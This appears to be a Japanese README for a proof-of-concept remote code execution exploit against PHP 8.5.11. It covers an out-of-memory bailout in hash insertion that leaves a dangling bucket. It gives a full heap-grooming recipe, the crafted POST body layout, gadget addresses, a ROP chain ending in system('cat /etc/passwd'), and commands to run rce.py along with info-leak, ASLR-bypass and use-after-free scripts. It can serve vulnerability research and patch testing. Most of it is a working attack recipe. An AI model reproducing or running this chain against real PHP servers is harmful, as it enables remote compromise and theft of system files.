
🤖 いいえ、この脆弱性を悪用する簡単な方法があります!(主張を証明するためにvibecodeされたもの)
PHP 8.5.11(2026年10月のアドバイザリ)に対する、再現可能かつアプリケーション非依存のリモートコード実行PoCです。2026年のPHPメモリ破壊に関する2件のアドバイザリを、アプリケーションコードを一切使わずに system("cat /etc/passwd") へと変換します。被害者の index.php は単に ok を出力するだけです。
longjmp が構築途中の HashTable を放棄し、シャットダウン時に破棄されるダングリングバケットを残します。これがRCEのプリミティブです。すべてPodmanコンテナ内で完全に再現可能です。確認済みのエンドツーエンドの結果は、./exploits/cve-2026-109618-oom/rce.py が /etc/passwd を読み取るというものです。
PHPがメモリを使い果たすと、zend_mm_safe_error() → zend_error_noreturn() → zend_bailout()(longjmp)を呼び出します。8.5.11では、ハッシュテーブルの挿入がアロケーション失敗に対応していないため、OOMによって HashTable が中途半端に変更された状態で巻き戻される可能性があります。
破壊が発生する箇所は _zend_hash_str_add_or_update_i() の add_to_hash(Zend/zend_hash.c:960)です:
add_to_hash:
idx = ht->nNumUsed++; /* (1) bumped first */
ht->nNumOfElements++; /* (2) bumped */
p = ht->arData + idx;
p->key = key = zend_string_init(str, len); /* (3) OOM -> zend_bailout */
キーのコピー zend_string_init が OOM になると、バケット p は書き込まれないまま
(key/h/val はすべて古い値のまま) になりますが、nNumUsed はすでにインクリメントされています。リクエスト
シャットダウン時に zend_array_destroy() が nNumUsed 個のバケットを走査し、
書き込まれていないバケットのゴミ val — 攻撃者が整形した値 — に対して
i_zval_ptr_dtor(&p->val) を呼び出します。8.5.12 の修正では、そのようなすべてのアロケーションを
失敗可能な変種 (femalloc/fperealloc2 + HASH_FALLIBLE) に置き換えることで、
挿入が bail out するのではなく正常にリターンするようにしています。
このエクスプロイトは、制御された 1 つの 2560 バイトブロックを、最後のバケットが
OOM バケットである HashTable の arData にすることを完全に目的としています。バランスを取る必要があった
値とその理由は次のとおりです:
| 型 / 変数 | サイズ | 役割 |
|---|---|---|
zend_array (HashTable) ヘッダ | 56 B | arData、nNumUsed、nTableSize、pDestructor |
Bucket | 32 B | val(16) + h(8) + key(8)。書き込まれないものが我々のターゲット |
zval | 16 B | value(8) + u1.type_info(4) + u2(4) — 我々が type_info を設定する |
zend_string | 24 B ヘッダ + データ | パディング値。その長さがアロケータのビンを決める |
zend_object | 56 B | 偽オブジェクト: gc(8) handle(4) ce(8) handlers(8) properties(8) |
zend_object_handlers | offset/free_obj/dtor_obj | free_obj がピボットガジェット |
zend_mm_heap / zend_mm_chunk | — | free_slot[]、free_tail、map[] (ビン 28 = 2560 B) |
フェンスイ全体が依拠する 2 つのアロケータの事実:
HT_SIZE_EX(64) = 64*32 バケット + 128*4 ハッシュ = 2560)、なぜなら
HT_SIZE_TO_MASK(n) = -(2n) だからです。b150 (走査される) と b0e0 (破棄される) は $_POST["a"] の 2 つのコピーであり、
シンボルテーブルの SEPARATE_ARRAY/間接パスによって作成されます。各
a[<large>][c]=v フィールドは <large> キーを両方に挿入し、b0e0 は
常に 1 キー先行しています。php_request_shutdown によって破棄されるのは b150 のみなので、
OOM は b150 で発生しなければなりません。rce.py を参照)リクエストボディは urlencoded の POST です:
memshift=<40 KB of M>&
a[X…0000000000000000][c]=v& … (30 fields)
pad=<crafted 2528 B>&
pad=x&
a[X…0000000000000030][c]=v& … (fields 30..59)
memshift(約40 KB) は、OOMフィールドの最初の挿入時、すなわち破棄された b0e0 ではなく**b150**(走査対象のテーブル)への挿入時にOOMが発火するのに十分なだけのメモリを消費します。pad=<2528 B>: add_post_var は estrndup(A) を実行し、続いて
ZVAL_STRINGL_FAST(B, copy) を実行します。実測では B = padlen + 32 であるため、padlen=2528 とすると
A = 2529、B = 2560 となり、両方とも bin 28 になります。A は
estrndup の経路で解放されます。pad=x(重複キー) は保持されたコピー B を DTOR し、2つ目の
別個の bin-28 スロットを解放します。これで b150 の 32→64 リサイズが B を再利用し、制御された
バイト列が b150 の arData になります。zend_hash_rehash によって書き換えられるハッシュ
配列です。IS_OBJECT に設定され、value.obj = &fake_object となります。i_zval_ptr_dtor → rc_dtor_func →
zend_objects_store_del → handlers->free_obj = pivot → ROP →
system("cat /etc/passwd > /var/www/html/leak.txt")。続く
GET /leak.txt でファイルが返されます。実際のデバッグ時間を要した2つの微妙な要件(いずれも rce.py 内):
__libc_system は movaps(16バイトアラインメント)を使用するため、pop rdi; ret と system の間に
余分な ret ガジェットを挿入します — そうしないと execve の前に
__libc_system 内部で SIGSEGV が発生します。setarch -R)php-rce-oom-debug:8.5.11(ベース php-rce-base:8.5.11)に対して測定。libphp/libc のベースは
ベースビルド間で同一です。ヒープオフセット B はインストールされたライブラリによって
変動する(gdb のインストールで移動した)ため、異なる
イメージでは B を再測定するか、ASLR 有効時は情報リーク経由で解決してください。
| シンボル | アドレス |
|---|---|
| libphp ベース | 0x7ffff4400000 |
| libc ベース | 0x7ffff7cd4000 |
system | 0x7ffff7d20490 (libc+0x4c490) |
pop rdi; ret | 0x7ffff7cfb7e5 (libc+0x277e5) |
ret | 0x7ffff7cfb7e6 |
pivot (jump_fcontext+0x2e) | 0x7ffff49fb8ae |
メインチャンク ([anon:zend_alloc]) | 0x7ffff7200000 |
B (arData 生ブロック = b150->arData - 512) | 0x7ffff725e400 |
| 偽ハンドラ | B + 24 + 2000 = 0x7ffff725ebe8 |
| 偽オブジェクト | B + 24 + 2048 = 0x7ffff725ec18 |
cmd 文字列 | B + 24 + 2200 = 0x7ffff725ecb0 |
ROP チェーン(偽オブジェクト o からの相対):
o+0x40 pop rdi; ret (r8 loaded by the pivot)
o+0x48 &cmd (rdi)
o+0x50 ret (stack alignment for movaps)
o+0x58 system
Podman が必要です。リポジトリのルートから:
# build base + OOM + debug (gdb) images
./exploits/cve-2026-109618-oom/trace.sh build
# run the vulnerable worker with ASLR disabled (setarch -R), port 8084
./exploits/cve-2026-109618-oom/trace.sh up
# exploit: OOM -> free_obj hijack -> system("cat /etc/passwd")
python3 exploits/cve-2026-109618-oom/rce.py 127.0.0.1 8084
予想される出力:
[+] RCE: read /etc/passwd:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
…
# stale fatal-backtrace UAF crash (CVE-2026-109619)
./exploits/cve-2026-109619-stale-state/run.sh up && ./exploits/cve-2026-109619-stale-state/run.sh uaf
# info-leak / ASLR-bypass primitive (addresses + read path)
./exploits/cve-2026-109619-info-leak/run.sh build && ./exploits/cve-2026-109619-info-leak/run.sh up && ./exploits/cve-2026-109619-info-leak/run.sh leak
# negative control (patched 8.5.12 survives the same sequence)
./exploits/negative-control/run.sh up && ./exploits/negative-control/run.sh
affected-versions/ vendored vulnerable PHP tarballs (8.2.34/8.3.35/8.4.26/8.5.11)
patched-versions/ vendored patched 8.5.12 tarball (negative control)
references/ the two GHSA advisories + the 2004 Esser advisory + php-bug-78876
container/
base/ shared Apache 2.4 + PHP build (parameterized by version)
cve-2026-109618-oom/ OOM victim (memory_limit=8M) + gdb debug layer
cve-2026-109619-stale-state/ stale-backtrace UAF victim + gdb debug layer
cve-2026-109619-info-leak/ info-leak / ASLR-bypass victim
negative-control/ patched 8.5.12, same config
exploits/
lib/client.py raw-socket HTTP client (controlled framing)
cve-2026-109618-oom/ exploit.py (trigger), stalealias.py, rce.py, trace.py/trace.sh
cve-2026-109619-stale-state/ producer/consumer/exploit/rop/leak + run.sh + trace.sh
cve-2026-109619-info-leak/ leak.py + run.sh
negative-control/
docs/
attack-surface.md exact vulnerable source locations
memory-layout.md measured object graph + ROP + addresses
heap-feng-shui.md the grooming progress log (§8.8–8.16 is the RCE chain)
info-leak.md the info-leak / ASLR-bypass primitive
exploit-plan.md / implementation-plan.md / tasks.md